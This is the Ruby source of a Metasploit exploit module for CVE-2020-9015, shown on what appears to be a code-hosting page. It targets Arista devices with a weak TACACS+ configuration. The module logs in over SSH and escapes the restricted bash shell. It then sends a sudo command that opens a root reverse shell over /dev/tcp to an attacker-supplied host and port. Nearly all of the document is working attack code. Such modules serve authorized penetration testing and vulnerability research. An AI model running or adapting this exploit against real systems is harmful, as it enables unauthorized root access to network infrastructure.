Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/ssh/arista_tacplus_shell.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = GreatRanking1011include Msf::Exploit::Remote::SSH12include Msf::Auxiliary::Report1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Arista restricted shell escape (with privesc)',19'Description' => %q{20This exploit module takes advantage of a poorly configured TACACS+ config,21Arista's bash shell and TACACS+ read-only account to privilage escalate.22A CVSS v3 base score of 9.8 has been assigned.23},24'License' => MSF_LICENSE,25'Author' => ['Chris Anders'],26'References' => [27[ 'CVE', '2020-9015'],28[ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],29[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],30],31'Arch' => ARCH_X86,32'ConnectionType' => 'find',33'DefaultTarget' => 0,34'DefaultOptions' => {35'Payload' => 'linux/x86/shell_reverse_tcp'36},37'Notes' => {38'Stability' => [CRASH_SAFE],39'Reliability' => [REPEATABLE_SESSION],40'SideEffects' => [IOC_IN_LOGS]41},42'DisclosureDate' => '2020-02-02',43'Platform' => 'linux',44'PayloadType' => 'cmd_interact',45'Privileged' => true,46'Targets' => [ [ 'Universal', {} ] ]47)48)4950register_options(51[52Opt::RPORT(22),53OptString.new('USERNAME', [true, 'Username to login with', '']),54OptString.new('PASSWORD', [true, 'Password to login with', '']),55]56)5758register_advanced_options(59[60Opt::Proxies,61OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),62OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),63OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])64]65)66end6768def check69opts = ssh_client_defaults.merge({70auth_methods: ['password', 'keyboard-interactive'],71port: rport,72password: password73})7475begin76::Timeout.timeout(datastore['SSH_TIMEOUT']) do77Net::SSH.start(rhost, username, opts)78end79rescue Rex::ConnectionError80return CheckCode::Safe81rescue Net::SSH::Disconnect, ::EOFError82return CheckCode::Safe83rescue Timeout::Error84return CheckCode::Safe85rescue Net::SSH::AuthenticationFailed86return CheckCode::Safe87rescue Net::SSH::Exception88return CheckCode::Safe89end9091CheckCode::Detected92end9394def rhost95datastore['RHOST']96end9798def rport99datastore['RPORT']100end101102def lport103datastore['LPORT']104end105106def lhost107datastore['LHOST']108end109110def username111datastore['USERNAME']112end113114def password115datastore['PASSWORD']116end117118def exploit119factory = ssh_socket_factory120121opts = {122auth_methods: ['password', 'keyboard-interactive'],123port: rport,124use_agent: false,125config: false,126password: password,127proxy: factory,128non_interactive: true,129verify_host_key: :never130}131132opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']133134print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...")135136begin137ssh = nil138::Timeout.timeout(datastore['SSH_TIMEOUT']) do139ssh = Net::SSH.start(rhost, username, opts)140end141rescue Rex::ConnectionError142fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")143rescue Net::SSH::Disconnect, ::EOFError144fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")145rescue ::Timeout::Error146fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")147rescue Net::SSH::AuthenticationFailed148fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")149rescue Net::SSH::Exception => e150fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")151end152153fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh154begin155payload_executed = false156print_good('SSH connection established.')157158ssh.open_channel do |channel, _data|159print_status('Requesting pty rbash')160161channel.request_pty do |ch, success|162fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success163print_good('PTY successfully obtained.')164165print_status('Requesting a shell.')166ch.send_channel_request('shell') do |cha, _succ|167fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success168print_good('Spawned into arista rbash shell.')169170cha.on_data do |_xx, data2|171if data2.include?('#') && !payload_executed172print_status('Attempting to break out of Arista rbash...')173channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")174payload_executed = true175print_good('Escaped from rbash!')176end177end178end179end180end181ssh.loop unless session_created?182rescue Errno::EBADF => e183elog(e.message)184end185end186end187188189